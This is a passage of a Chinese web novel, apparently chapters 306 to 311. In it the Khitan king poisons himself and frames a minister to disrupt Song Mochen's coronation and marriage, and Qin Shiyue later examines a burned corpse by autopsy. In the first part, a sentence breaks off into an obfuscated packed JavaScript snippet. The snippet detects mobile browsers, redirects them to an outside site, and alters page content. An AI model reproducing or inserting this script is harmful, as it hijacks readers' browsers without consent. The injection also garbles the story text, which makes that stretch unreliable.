她们身着契丹舞裙,腰间系着银铃,走动时叮当作响,眉眼间带着异域风情,一进殿便让不少官员看直了眼。 “契丹王远道而来,一路辛苦。”宋墨辰开口,嘴角含笑,眼神不善,“不知契丹王此趟入京,所为何事?” 耶律良才俯身行礼,“本王听闻贵国遭遇宫变,特来探望陛下,顺便带了些契丹的薄礼,聊表心意。” 他抬手示意舞姬上前,舞姬们立刻屈膝行礼。 “这些舞姬是本王族中挑选出来的,个个沉鱼落雁,精通胡旋舞,本王将他们送与陛下,为陛下添些乐趣。” 殿内瞬间陷入寂静。 官员们面面相觑,眼底都带着艳羡。 谁都清楚皇帝如今被软禁在御书房,连宫门都出不去,耶律良才这话,分明是在试探宋墨辰的态度。 更何况,契丹到京城,最快也要四日行程,而宫变发生在昨日,很明显耶律良才是在说谎。 可宋墨辰并不在意,他知道耶律良才进京八成是因为秦时月,不由的在心里冷笑一声。 “多谢契丹王美意,只是父皇病重,需静心休养,歌舞喧哗恐扰了父皇安宁,这些舞姬契丹王还是带回吧。” 耶律良才像是早料到他会拒绝,立刻改口,“陛下用不上,那便送与王爷如何?” 他往前走了两步,目光直直看向宋墨辰,挑衅道:“王爷即将总揽朝政,后院却连个伺候的人都没有,这些舞姬若能被收入后院,定能为王爷助兴,算是本王位两国交好献出的诚意,王爷不如全了本王的意愿?” 不等宋墨辰说话,一大臣突然站了出来,“王爷,契丹王一片赤诚,且两国边境虽安稳,却仍需维系邦交,还请王爷三思。” 紧接着,其他大臣也纷纷附和,“柳大人所言极是。” 听到这些话,宋墨辰不悦的蹙起眉毛。 这些老家伙打的什么算盘,他心里清楚的很。 无非就是他继任在即,若是能广纳后宫,他们的女儿,便有了入宫的机会。 他冷哼一声,面上不动声色。 “诸位卿家所言甚是,只是本王素来不喜歌舞,这些舞姬留在身边也是浪费。”宋墨辰指向刚刚站出来劝说的几位大臣,“众爱卿皆是朝廷栋梁,本王便将这些舞姬赐给你们,也算犒劳诸位的辛苦。” 官员们皆是一愣,没想到宋墨辰会如此处置。 “怎么?”宋墨辰挑眉看向他们,眼神威胁。 大臣们颤了一下,连忙拱手应下,“臣等,谢王爷恩典!” 耶律良才脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16240130|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的笑容瞬间僵住。 他本想借舞姬试探宋墨辰,若是他收下,他便可以顺着话头提起秦时月,若是他拒绝,他也能借机说靖垣不给契丹面子。 可他偏偏没料到,他竟直接将人赐给了大臣。 “王爷倒是大方,不过,王爷这般推三阻四,莫不是怕明月县主不悦?”耶律良才攥攥拳,故意笑道。 官员们纷纷低下头,不敢说话,他们知道,耶律良才这话,无疑是在公然挑衅。 若是在这个时候出来掺和一脚,怕是会被宋墨辰记在心上,不由的人人自危。 “契丹王说笑了,本王与王妃的事是私事,就不劳你费心了。”宋墨辰故意转移话题道:“说起来,契丹王来得倒是巧,本王已定下日子,不日将举行登基大典,并且会同日大婚、封后,还请契丹王多留几日,好观礼。” 登基之事关乎朝局,必须昭告天下,同时,他也想让天下都知道,能和自己并肩的人,只有秦时月。 听到这话,耶律良才彻底破防,他怒不可遏的瞪着宋墨辰,语调压抑,“你有问过时月的意思吗!?” “自然。”宋墨辰笑了一下,眉目含笑。 手下败将,不足为惧。 耶律良才攥紧拳头,眼底浮现出一丝杀意,“若是我不同意呢?” “怎么,契丹王要在这大殿之上同本王动手?” 不等耶律良才说话,契丹使者突然上前一步,暗中按住了他的手,“王!不可!这里是靖垣皇宫!” 经他提醒,耶律良才回过神,不得已,只能暂时忍下了心中这口恶气。 他知道,这里不是契丹,此次进京他身边只有几十名亲卫,今日进宫,那些人都被挡在了宫外,他身边除了这些使者和舞姬,根本无人可用。 而宋墨辰掌控着整个京城的禁军,若真的动手,他不仅讨不到好,还可能被困在京中。 宋墨辰没理会他,淡淡道:“多谢契丹王赏脸,贡品本王收下了,会派人妥善安置。至于你们的住处,已在驿馆备好。” 第306章 又争又抢 紧接着,宋墨辰抬手示意太监,“送契丹王一行人回驿馆。” 耶律良才冷哼一声,转身大步朝殿外走去。 “王,接下来怎么办?”一出宫门,侍卫便和耶律良才汇合了,他们跟在身旁,陪他翻身上马,问道。 “去长乐侯府!” 今日的较量是他输了,可他不会就这么算了。 他要留在京中,要找到机会,带秦时月离开! …… 殿内,宋墨辰看着耶律良才离去的背影,头疼的闭上眼睛。 耶律良才的手段,他是清楚的,方才看他那样子,宋墨辰便知道他不会善罢甘休。 宋墨辰看向侍书,沉声吩咐道:“派人盯着耶律良才,如今登基大典在即,不能出任何差错。” “是,属下这就去!”侍书应下。 宋墨辰知道,他必须尽快稳定朝局,尽快登基。 只有掌控了足够的权势,才能真正护秦时月周全,才能让那些觊觎她的人不敢再轻易挑衅。 他不会让任何人破坏他与月月的感情! 至于耶律良才,只有让他亲眼看到自己是如何与月月成婚的,他才能彻底死心。 宋墨辰还没走几步,侍书突然追了过来。 “还有事?” 侍书眼神躲闪,“方才宫门的侍卫来报,说契丹王离宫后往长乐侯府的方向去了。” “你说什么!?”宋墨辰眉头一拧,双拳紧握。 耶律良才竟直接找上门去,分明是故意挑事! “备马!”宋墨辰匆匆往殿外走,“去长乐侯府!” “王爷,您别急!”侍书连忙跟上,“长乐侯府有咱们的人守着,耶律良才不会乱来,您刚下朝,不如先回去歇息歇息,先派人去问问情况。” 王爷连日来没休息好,又失血过多,他真怕他这样不爱惜自己的身体,三日后的登基大典会出事。 “不用!”宋墨辰打断他,脚步没停,“本王要亲自去!” 他怎么能不急? 耶律良才对月月的心思他看得清清楚楚,如今宫变刚过,他尚未登基,耶律良才就敢这般明目张胆地找月月,若是晚一步,谁知道对方会不会得逞!? …… 耶律良才并没有登门,而是派人邀请秦时月到湖心凉亭一叙。 秦时月收到消息后,先是看了看皇宫的方向,随后心事重重的换了身衣服,出了侯府。 她想去看看,耶律良才来京城,究竟要做些什么。 而耶律良才特意在马车内换了套衣服,典型的京城服饰,一套水蓝色锦衣华服,芝兰玉树的偏偏贵公子模样。 见秦时月依约前来,他笑了一声,起身迎接。 “你来了,快坐。”他伸手,主动为秦时月拉开椅子。 秦时月在他对面坐下,目光扫过亭外。 此处地势空旷,环境倒是优美。 “知道你喜欢喝茶,这是我从契丹带来的。”耶律良才为她添了一杯茶,茶香四溢。 “契丹王找我来,应该不只是为了喝茶吧?”她嘴角带笑,笑意不达眼底。 耶律良才没有生气,只是眼神有些暗。 似乎是不想让她看出自己的失态,他抬手端起茶杯抿了口茶,“我就不能单纯找你喝杯茶?” “还记得这身衣服吗?是我初见你时穿的。”耶律良才垂眸看了看自己的衣服,满脸回忆之色。 “耶律良才。”秦时月轻声打断他,“过去的事,不必再提了。” “你就这么讨厌我?我们不是朋友吗?” 秦时月抬眼看向他,“如今的身份,与从前不同了。你是契丹王,我是靖垣县主,不日要与辰王成婚。” 她这话说得够清楚,她与耶律良才没有任何关系。 “你打算什么时候回契丹?”不等耶律良才伤悲春秋,她直接问道。 他留在京城总归是隐患,不如让他早点回去。 闻言,耶律良才忽然笑了起来,只是笑容有些苦涩。 他伸手拿起桌上的茶壶,给自己又倒了杯茶,“我还以为,至少咱们能像从前那样,好好喝杯茶,说说话。” 他端起茶杯送到嘴边,却没喝,“你就这么不喜欢和我独处?连一盏茶的工夫都不愿多 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秦时月心头一紧,猛地回头,就见耶律良才捂着胸口,嘴角残留着一道暗褐色的鲜血。 “耶律良才!”她惊呼一声,立即转身冲过去伸手扶住他,“你怎么了!?” 耶律良才呼吸急促,眼神有些涣散。 “我没事,可能是……最近赶路太急,有些,水土不服……”靠在她身上,他的嘴角不自觉勾起一丝弧度。 若是,可以忽略越来越沉重的眼皮,说不定,他能更开心。 “都吐血了还说没事!”秦时月一把抓住他的手腕,指尖搭上他的脉搏。 **! 谁给耶律良才下的毒!?他的毒,是何时中的? 他是契丹王,若是有人在靖垣地界给他下毒,只怕这件事只是个开端…… “你**了!”秦时月紧张道:“你近日吃过什么?接触过什么可疑的人?” 耶律良才皱皱眉,难以置信的喃喃,“**?怎么会?我一直和使者待在一处,今日在驿馆吃过早饭后便去了皇宫,然后见你……没碰过别人。” 第307章 吃醋的男人真可怕 就在这时,他意外看到远处有一抹黑色身影正快速靠近,他眼神一沉,趁着秦时月分心,假装身体无力,几乎将全身的重量都压在了秦时月身上。 秦时月猝不及防,吃力的用身体撑着他,让他不至于倒在地上。 “救我……”耶律良才的声音气若游丝。 她眉头紧蹙,将其扶到椅子上,然后从怀中摸出银针包,飞快地抽出三根银针,在他的穴位上精准扎下。 “你撑住,我先帮你护住心脉。”做完这一切,她又从腰间翻出一颗解毒丸给他喂下,这才松口气。 耶律良才闷哼一声,假装吃痛地低下头,呼吸微弱的用额头抵着秦时月的发顶,眼底却划过一丝她看不到的得逞。 “放开她!” 宋墨辰大步冲向凉亭,目光落在两人抱在一起的身上,眼底瞬间充满杀意。 听到宋墨辰的声音,秦时月心头一惊,连忙转头,“你怎么来了?” “你们在做什么!” 宋墨辰像是没有听到她的话一般,死死地盯着她护在耶律良才腰后的小手上。 秦时月的另一个手腕则被耶律良才攥的紧紧的。 “你别误会!耶律良才中毒了,我在给他施针救人……”秦时月立即解释。 她知道宋墨辰容易吃醋,自己没和他说,直接来见耶律良才,他生气也情有可原。 宋墨辰哪里听得进解释? 他只看到耶律良才死死黏着秦时月,可恶至极! “救他?”他冲进凉亭,一把攥住耶律良才的后领,将他从秦时月身上拽了起来。 耶律良才本就虚弱,被他这么一拽,顿时剧烈咳嗽起来,嘴角又溢出一丝鲜血。 “耶律良才,你当我是傻子吗?” “是我的错……是我中毒了没站稳,才靠了一下县主,王爷要怪就怪我吧。”耶律良才眼神涣散。 “闭嘴!”宋墨辰打断他,转头看向秦时月,“你明知道他对你的心思,还敢单独来见他!” “你听我解释。”她伸手想去拉宋墨辰的衣袖,“他是契丹王,若是在靖垣境内出事,两国必定会起争端,我救他是为了朝局,不是你想的那样!” 听着两人的争执,耶律良才垂下眸,嘴角勾起一丝不易察觉的笑意。 宋墨辰深吸一口气,控制了一下自己的情绪。 “若是他死在这里,事情就真的无法挽回了。”秦时月继续劝说。 虽宋墨辰恼怒,却也清楚耶律良才的身份特殊,尤其他继任在即,绝不能在此时出事。 “回宫,去最近的医馆。”宋墨辰低声说了句。 说完,不等秦时月拒绝,他一把将耶律良才夺过来扛到肩上,大步走向亭外。 他将耶律良才直接扔到自己的马上,吩咐侍卫将其带到医馆。 紧接着,不等秦时月反应,宋墨辰弯腰将她打横抱起,上了另一匹马。 秦时月的鼻腔中瞬间充满淡淡的龙涎香气,这香气中还混杂着一丝血腥味。 “你的伤……”秦时月担忧地问道。 “不碍事。”宋墨辰眉眼冷峻,但语气到底温和下来,“下次再敢单独见他,我绝不会轻饶你。” “不会了。” 她知道宋墨辰是真的生气了,也知道自己这次确实欠考虑,所以难得乖乖的没有反驳。 秦时月独自驾一匹马,宋墨辰带耶律良才同驾一匹,不一会儿,便赶到了医馆。 进入医馆,宋墨辰命人将耶律良才扶到床上,秦时月不放心,跟上去打算亲自为耶律良才解毒。 见状,宋墨辰挡在她面前说道:“不必麻烦你,我已让人去请太医。” 闻言,秦时月动作一顿,不明所以的看向他。 “耶律良才是契丹王,若在你手上出事,必然少不了争端,所以他的毒,该由太医院的人来解。”他冠冕堂皇的解释。 他可不想让月月给耶律良才解毒。 “耶律良才中的毒又急又凶,这家医馆我看过,大夫水平和存药有限,太医们一时半刻赶不过来,不如让我一试。”秦时月劝说道。 虽然她给耶律良才服用了解毒丹,但是不能保证完全解毒。 她担心耶律良才撑不到太医前来,为了两国的和平,她想要尽力一试。 “我不同意!我说了,等太医来!”宋墨辰心头火气骤起,他不自觉的身手攥住她的胳膊,逼她正视自己。 他不喜欢她的眼里有别人,更不喜欢她担忧别人的生死,尤其那个人是他的情敌! “他是契丹王,若是死在医馆,两国开战怎么办?” 宋墨辰知道她心地善良,无论是谁都会相救,可对方是耶律良才…… 就在这时,门外传来侍书的急切声音,“王爷王妃,太医院的李太医和王太医到了!” 闻言,宋墨辰深吸一口气,松开秦时月道:“让他们进来。” 很快,两位身着官服的太医提着药箱匆匆走进来,见到两人,连忙躬身行礼,“臣等参见王爷,参见县主。” “不必多礼。”宋墨辰摆了摆手,指了指诊床上的耶律良才,“契丹王在郊外中毒,你们快看看他的伤势,务必保住他的性命。” 太医们连忙上前,给耶律良才诊脉。 看着昏睡的耶律良才,宋墨辰眼神暗了暗,随后牵起秦时月的手向外走去,“这里有太医看着,我们走吧。” “……好。”秦时月点了点头。 耶律良才的脸色比方才好了不少,现如今太医也来了,那她确实没有待下去的必要了。 两人离开后不久,耶律良才缓缓睁开了眼。 看来,秦时月喂的那粒解毒丹确实有效,只是这药效,有些缓慢。 他动了动手指,环顾四周,发现整个房间里,只有他一人。 他深吸一口气,眼神晦暗,随后自嘲的笑了笑。 便是等他清醒过来,她也不愿吗? “主上。”暗卫见耶律良才醒来,立即上前。 耶律良才没回头,目光看向窗外,“她呢?” 暗卫回话,“明月县主在一个时辰前就随辰王离开了。” “是谁救的我?” “两位太医。” 第308章 礼部尚书被迫背锅 “太医?”耶律良才突然笑了起来,“我这条命,明明是她救的,怎么成了太医的功劳?” 暗卫不敢接话,他跟着王多年,自然知道他对秦时月的心思。 他也知道,这次中毒,是王精心策划的局。 原来,耶律良才在出宫的时候就开始谋划了。 一上马车,他便吩咐马夫让其往长乐侯府的方向走,为的就是让辰王知道他要去找秦时月。 在凉亭时,耶律良才不惜给自己下毒,就是为了让宋墨辰看到他和秦时月不清不楚。 他每一步,都是为了挑拨宋墨辰和秦时月,让他们产生嫌隙,让秦时月知道,谁才是最适合她的夫婿。 可谁能想到,秦时月从头到尾只想着不引发两国争端,甚至还把诊治的事情交给了太医。 难道,自己的性命在她心中,当真不重要? “没良心的小东西。”耶律良才低声骂了一句,语气里满是不甘,“我费尽心机给自己下毒,拼着性命不要演了这么一出,到头来,她并不把我放在心上。” “王,或许明月县主只是碍于辰王在场,毕竟辰王对您心存戒备,她若是对您太过关心,恐怕会引起辰王的误会。” 闻言,耶律良才冷笑一声,眼神偏执,“她若是真有半分在意我,就算有宋墨辰在,也不会走得这么干脆。” 既然软的不行,那便来硬的。 他得不到的人,也绝不会让宋墨辰得到,他精心策划的局,也绝不会就这么草草收场! 耶律良才闭了闭眼,随意说道:“现在,你去办一件事。” “请王吩咐。” “你去礼部尚书府一趟。”耶律良才缓缓开口,“不论你用什么办法,把我中毒的事,嫁祸到他头上。” 暗卫一愣,随即反应过来,“王爷是想借宋墨辰的手,除掉礼部尚书?” “靖垣刚经历宫变,朝局本就不稳,礼部尚书又是前朝重臣,手里握着不少人脉,利用他挑起两国争端,最好不过。”耶律良才冷笑道。 他要让宋墨辰陷入朝堂的纷争里,要让靖垣的朝局乱起来,要让宋墨辰自顾不暇。 再加上,一旦靖垣大臣谋害契丹王的罪名坐实,宋墨辰和秦时月的婚事,必然要办不下去。 “属下明白!属下这就去办!” 耶律良才闭上眼假寐。 他可不会眼睁睁看着秦时月嫁给宋墨辰! 不到半日,耶律良才的暗卫便将礼部尚书谋害他的事散播了出去,宋墨辰得到消息后有些意外,立刻命人着手调查。 …… 翌日,朝堂上。 “王爷,这是从礼部尚书府书房搜出的瓷瓶,太医院已验过,里面的残毒与契丹王所中之毒分毫不差。”刑部侍郎将证据呈上。 “礼部尚书。”宋墨辰头疼的地揉了揉太阳穴。 闻言,礼部尚书连忙跪地喊冤。 “王爷饶命!臣冤枉啊!臣从未见过这个瓷瓶,更没有对契丹王下毒!定是有人栽赃陷害!” “这瓷瓶从你府书房中搜出,里面的毒素与契丹王所中之毒一致,你还敢狡辩?”刑部侍郎不依不饶。 而宋墨辰只是淡定的坐在椅子上,平静的看着堂下。 “这瓷瓶不是我的!我昨夜一直在书房处理公务,从未见过这个瓷瓶!求王爷明察!” “回王爷,属下已问过礼部尚书府的下人,昨夜刘尚书确实一直在书房办公。”侍书回禀道。 “王爷,臣对靖垣忠心耿耿,怎会做出下毒害契丹王的事?” 宋墨辰知道礼部尚书是朝中重臣,做事一向谨慎,绝不会做出对耶律良才下毒的事。 可京中谣言四起,瓷瓶又是从他的书房中搜出的。 证据确凿,若不彻查,不仅耶律良才这边无法交代,还会让朝臣觉得他处事不公。 “来人。”宋墨辰下令,“将礼部尚书关押,彻查他府中上下,务必找出幕后真凶!” 他不相信礼部尚书是凶手,但证据指向他,即便要还他个清白,他也得下这个命。 “是!”侍卫上前,将人押了出去。 他本已定下不日后举行登基大典和大婚,可如今耶律良才中毒之事闹大,还牵扯出礼部尚书,朝局必定动荡。 登基大典势在必行,只是若此时强行举行大婚、封后,定会引起朝臣不满。 这一刻,宋墨辰想通了,认定此事和耶律良才脱不开关系。 想要在既定时间大婚,必须尽快将此事调查清楚! …… 长乐侯府。 秦时月也听到了这件事,她担忧的遥看着皇宫的方向深吸一口气,毅然决然得出门,往医馆的方向走去。 明眼人都能瞧得出来,礼部尚书不是凶手。 那凶手会是谁呢? 想要弄清楚这一切,她需见见耶律良才。 不一会儿,秦时月来到医馆,见到了耶律良才,“听闻你今日精神好了些,我让人炖了些清粥。” 她将食盒放在桌上,眼睛探究的看着耶律良才的眼睛。 见她前来,他眉眼带笑,“劳时月费心了,不过你今日来,恐怕不只是为了送粥吧?” 秦时月抬眼,开口直言问道:“礼部尚书与你无冤无仇,你为何要陷害他?” 此话一出,耶律良才脸上的笑容瞬间僵住。 他没想到秦时月会问的如此直接,眼神晃了晃,“你还是这么聪明,什么都瞒不过你。” “我只是没想到,你会用这种手段。”秦时月叹了口气,“为了挑起战争,竟不惜对自己下毒,还连累无辜的人。” 耶律良才吃力的坐起靠在床头上,“在这朝堂上,哪有真正无辜的人?你以为我这么做,是为了什么?不过是觉得,契丹不该一直做靖垣的附属国,我要让契丹独立出来,不再受靖垣的牵制。” 听到这话,秦时月心头松了一口气,原本她还以为,他的所作所为是为了她,他是要挑起自己和宋墨辰的矛盾。 没想到,他竟然是想要契丹独立。 难道这场战争,无可避免吗? “原来如此。”秦时月走到耶律良才面前,“不管你出什么目的,我都不会让你得逞的。” 第309章 失控 “时月,我很好奇,你怎么就确定,礼部尚书是无辜的?”耶律良才问道。 秦时月语气随意,“猜的。” 不只是她的猜测,还有影夜看到的证据。 昨日临走时,她让影夜留下来暗中盯着耶律良才,不曾想,影夜看到耶律良才的人陷害礼部尚书一事。 不过这些话,她不能说。 她知道耶律良才的心思,也知道他想借此事拖延宋墨辰的登基大典和大婚。可她不会让他得逞。 只不过,秦时月没有证据,只能命影夜加快调查,务必在宋墨辰查到更多线索前,找到耶律良才暗卫的踪迹。 “哦?那你想过没有,就算宋墨辰查到真相又能如何?”耶律良才嘲笑道:“我的目的,已经达成了一半。” 秦时月知道他绝不会轻易放弃,但无论他想做什么,她都会与宋墨辰一起,守住靖垣。 “粥你慢慢喝,我先回去了。” 话不投机半句多,说完,她转身离开了医馆,没有再回头。 耶律良才看着她离去的背影,眸子变得灰暗。 总有一天他会让宋墨辰付出代价,也会让秦时月知道,谁才是真正值得她依靠的人! 从医馆出来后,秦时月直接入了宫。 如今宋墨辰已经搬到宫中居住,想要见他一面实属不易,赶在落钥前,她要尽快把该说的事说清楚。 “你怎么来了?”宋墨辰见到她,眉眼间透漏着欣喜。 秦时月笑道,然后拍了拍手,让宫人将饭菜端了上来,“担心你忙得忘了吃饭,我路过天香楼,要了几个你爱吃的。” 说完,她将碗筷递到他面前,一边继续道:“有件事我得跟你说。” 宋墨辰接过碗筷,疑惑的看向她,“什么事?这么着急?” 知道他们有事要谈,侍书立即吩咐宫人离开,并带上了养心殿的门。 秦时月深吸一口气,在他对面坐下,“耶律良才的毒是他自己下的,陷害礼部尚书,也是他的主意,他是想搅乱靖垣的朝局,让契丹脱离靖垣的掌控。” 闻言,宋墨辰一愣,随后笑道:“我已经想到了。” 秦时月眨眨眼,眼底闪过一丝笑意。 是啊,她怎么忘了,她面前这位可绝不是什么泛泛之辈。 她没再迟疑,表情严肃的将影夜查到的线索一一告知。 “耶律良才亲口跟我说,他想借这件事削弱你的势力,推迟登基大典,为契丹独立铺路。” 宋墨辰夹起一块肘花,声音不疾不徐,“他这种心计深沉的人做出这种事,丝毫不奇怪。” 敢耽误他和月月大婚,不可饶恕! 若不是大婚在即不宜见血,他现在就去拧断他的脖子! 秦时月笑了笑,“你别生气,现在有了方向,查清真相,不过是时间的问题,只要把耶律良才的暗卫找出来,让他的阴谋败露。” 闻言,宋墨辰深吸一口气,压下心头的杀意,起身绕过桌子将她紧紧抱在怀里,“幸好有你在。” 秦时月靠在他怀里,心头却突然涌上一阵莫名的恍惚。 她抬手轻轻环住他的腰,忽然觉得眼前的一切有些不真实。 不久后他会登基为帝,她会成为他的皇后,住进深宫大院,面对无数的规矩和可能出现的后宫嫔妃。 可,那真是她想要的吗? 她想过有一天会被皇后的身份束缚,但她怕,怕自己会变成那些深宫女子,为了争宠而勾心斗角,为了权力变得面目全非。 她不想成为那样的人。 莫名的,秦时月有些犹豫,她喜欢宋墨辰,却不愿嫁入宫。 察觉到她的异样,宋墨辰垂眸看她。 “怎么了?是不是累着了?”宋墨辰松开手,抬手抚摸她的脸颊,“这些日子让你跟着忧心是我不好,接下来的事交给我,你好好回侯府歇着。” 她抬头与宋墨辰四目相视,想要说的话又咽了下去。 她知道现在不是说这些的时候,登基大典在即,耶律良才的阴谋还没揭穿。 “我没事,就是有点累。”秦时月勉强笑了笑,将头埋进他的怀里,试图压下心头的不安。 “放心,很快就过去了,再等等,再等等我们就能在一起了。” 听到这话,秦时月抬头,看向宋墨辰,“好。” 宋墨辰看着她的眼睛,眼神不自觉的落到了她的唇上。 他心中一动,低头吻住了她的唇。 突如其来的吻让她心跳加快呼吸有些不受控制。 他的呼吸变得灼热,吻慢慢下移,落在了她的颈间。 秦时月闭着眼,感受着他的触碰,身体微微发软,即便感觉到他伸手想解她的衣扣,也没反抗。 对重生一次的她来说,清誉,大抵是算不上什么的。 就在两人即将突破最后一道防线时,突然传来急促的敲门声。 “王爷!急报!” 宋墨辰动作一顿,眼底闪过一丝恼怒。 竟然在这个时候打扰他! 秦时月突然反应过来自己刚才的行为,连忙松开他转身整理。 “抱,抱歉……”宋墨辰看着她的慌乱,瞳孔震颤一下,结巴着开口。 他是不是吓到月月了? “没事,刚刚是我自愿的。”秦时月背对着他的身影顿了一下,羞涩说道。 宋墨辰心中一喜,理了理凌乱的衣摆,见她也整理好了,这才沉声道:“进来!” 侍书最好有重要的事,否则,他不介意派他去驻守边关! 殿门被推开,侍书跌跌撞撞跑进来,“王爷王妃,秦家墓园突发大火,火势太大,长乐侯他……他没能逃出来!” “你说什么?”秦时月猛地抬头,脸上残余的红晕瞬间褪去,只剩下震惊,“你再说一遍!长乐侯怎么了?” 侍书低头回答,声音发颤,“半个时辰前,秦家墓园的方向突然起火,风助火势,整个庄子很快就烧起来了,救火队赶到时,整个庄子已经塌了,救火的人在废墟里找到一具焦尸,听下人汇报,应该,是长乐侯。” “不可能!”秦时月眉头紧锁,不自觉后退了两步。 她刚把长乐侯送到墓园给祖母守墓,怎么就会突然走水? 第310章 秦时月要解剖尸体 这一定是假的! 她那个父亲老谋深算,怎么可能就这么死了!? “怎么会突然失火?还没逃出来?你们是不是看错了?那具焦尸说不定是下人!” 秦时月虽然恨长乐侯,但到底这么多年过去了,与她血脉相连的亲人所剩无几,骤听到这个消息,顿时心乱如麻。 但不知为何,她总觉得哪里不对劲。 秦家墓园可是老夫人去世时长乐侯亲自设计监工的,不仅有防火的青砖,还有两道暗门,他不可能不知道逃生的路,怎么会被困在里面? 而且庄子上有不少下人,还有她派去盯梢的人,怎么就突然失火,其他人没事,偏偏他死在了里头? 宋墨辰站在一旁,脸色阴沉。 他刚才还在庆幸秦时月查清了耶律良才的阴谋,登基和大婚可以顺利推进。 可转眼间,他那个未来岳丈竟然出事了。 长乐侯若是真的没了,按靖垣的规矩,秦时月作为嫡长女,至少要守孝三年。 三年,变数太多。 他们的婚礼不仅要推迟,甚至可能要彻底搁置! 不行,他绝对不会允许这种事发生! 一想到自己筹谋许久的大婚要因为一场大火泡汤,甚至要等上三年,宋墨辰就眼眶猩红,差点当场发疯。 “查!立刻去查!查清楚火势是怎么起的!查清楚那具焦尸到底是不是长乐侯!还有,把庄子上所有下人控制起来,细细盘问,一字一句都不得漏掉!” “是!”侍书连忙应下。 “还有,让影夜暗中调查,别惊动任何人。”秦时月冷静下来后,提醒道。 明面上的调查可能会被人动手脚,只有影卫才能查到最真实的线索。 长乐侯为人老奸巨猾,平日里最为惜命,绝不可能这么轻易出事。 这场大火,说不定和耶律良才的阴谋一样,都是有人故意设计的! “按月月说的做,快去!”宋墨辰眼神一沉,眼底却多了一丝笑意。 看来,他的月月和他想到了一处,就是不知这事的背后,到底有没有隐情。 侍书连忙应声,快步跑出了去。 殿内再次安静下来,秦时月扶着桌角,脑袋昏沉。 耶律良才的阴谋还没揭穿,登基和大婚在即,长乐侯作为她的生父,此刻出事,太过蹊跷。 若真是有人故意设计,那对方的目的,恐怕不只是除掉长乐侯,更是为了阻止他们的婚礼,搅乱朝局! “不管是谁干的,若是让我查出来,我定要他碎尸万段!” 宋墨辰看着她失魂落魄的模样,上前一步,轻轻将她揽进怀里。 “别多想了,我已经让人去查了,相信很快就会有结果。不管发生什么,我都会陪着你,绝不会让你一个人面对。” 为了查清那焦尸是不是长乐侯,秦时月决定亲自前去看看。 没有人比她更了解长乐侯。 翌日,天空中下了些许小雨,秦时月撑着油纸伞来到了侯府墓园。 一入园子她便瞧见了那具被白布裹住的焦尸。 如今屋子烧了,只余下这么一具辨不出模样的残骸,真是让人好生烦恼。 “小姐,当心些。”小荷守在一旁,贴心的搀扶着秦时月。 为防证据被毁,庄子遭遇大火后,宋墨辰命人封锁起来,并没有进行清理,这一路走来磕磕绊绊的,小荷担心她被绊倒。 就在此时,宋墨辰走了过来,将手里的披风搭在她肩上,声音轻飘飘的,“仵作说,尸体烧毁的太严重,辩不清面貌,不能确定是不是长乐侯。” 昨夜他派人调查了一夜,未曾在京城发现长乐侯的身影。 此时看着那具焦尸,也有些迟疑。 “分不清,就剖开看。”秦时月开口道,声音没什么情绪,像是在诉说一句稀松平常的事情。 听到这话,候在一旁的仵作猛地顿住,满脸惊惶的抬头看向她。 剖尸!?怎么可能!! “县主!使不得啊!”仵作劝说道:“长乐侯都走了,就让他完整的走吧。” 自古以来身体发肤受之父母,如今更是死者为大,断没有剖尸的事! “你是不敢?还是不会?”秦时月面色不变,淡漠问道。 她要的,不过是个真相。 再者,东方苑说过,剖尸并不是不尊重死者,而是为了还原真相。 先前东方苑教过她剖尸之术,虽然她没在人身上试验过,但是重生后,她拿刚死去的动物做过实验,她有信心能一次成功。 “小人……”仵作支支吾吾的。 他低下头,转而说道:“这尸体烧得跟炭块似的,剖开也未必能看出什么,再说您是金枝玉叶,哪能沾这种晦气。” 闻言,秦时月笑了一下,“只凭一具尸体就能断定他是长乐侯吗?若他不是长乐侯,你担得起责任吗!” 仵作负责解开尸身的未解之谜,但此人看起来,怕是根本不敢,也不会解剖尸体。 宋墨辰皱了皱眉,拉住了她的袖口,“不成,太危险了。” 剖尸言论,他是第一次听说,不是她不信任秦时月,而是担心她会有危险。 “不碍事的,我是医者。还是说,你不信我?”秦时月笑着,用反问的语气安抚。 见他不答,扭头朝小荷投去个眼神。 此话一出,周围面面相觑。 这也太离谱了,女子家哪能干这个? 仵作看着秦时月,脸上满是为难,“县主,不是小人不依您,只是这不符合规矩。” “规矩是死的,人是活的。”她往前走了两步,“不用你来,我亲自动手。” 她其实怕得很,方才说的话都是硬撑,但她没有退路。 这个仵作,怕是只有年纪大,经验怕是没多少,更别说剖尸之术,他恐怕根本没动过手。 “小荷,让人找张干净的桌子,一坛烈酒,顺便将马车上的工具箱取来。”秦时月吩咐道。 “是,奴婢这就去办。” 没一会儿,东西都备齐了,宋墨辰还命人搭了个简单的棚子。 桌子摆在墓园的空地上,艾草烧着,秦时月站在桌前,拿起烈酒洗了洗手。 第311章 开刀,尸检 宋墨辰站在她身边,看出她的紧张,忍不住开口,“要是怕就停手,我让人再查别的线索。” “我不怕。”秦时月深吸一口气,想起东方苑说的话,努力让自己保持冷静。 东方苑说过,尸检是为死者开口,开刀时一定不能慌张。 她伸手掀开白布,焦尸瞬间暴露在众人面前。 尸体全身漆黑碳化,五官完全看不清,只有大致的人形。 她先用刀轻轻刮了刮尸体的皮肤,又翻了翻尸体的手指,根据这碳化情况来看,能够确定是昨日起火造成的,和起火的时间对得上。 紧接着,秦时月用刀尖慢慢靠近尸体的胸腹部,小心翼翼的划开皮肤,露出了里面暗红脱水的内脏。 看到这一幕,仵作和小荷连忙转身,忍住不犯恶心。 根据东方苑教授的知识,秦时月仔细看了看心脏、肺部,还有其他各脏器。 就在她视线下移时,突然意识到什么,视线再次返回焦尸的肺部。 奇怪,为什么这具尸体的肺部表面有一层灰白色痕迹? “仵作,你来看。”秦时月头也没抬,“这具尸体的肺部有钙化,这合该是长期肺痨的症状,对吧?” 闻言,仵作连忙凑过来,脸色骤变,“是!没错!这确实是肺痨久了才会有的痕迹!” 这便对了! 这具尸体,不是她那个好父亲! 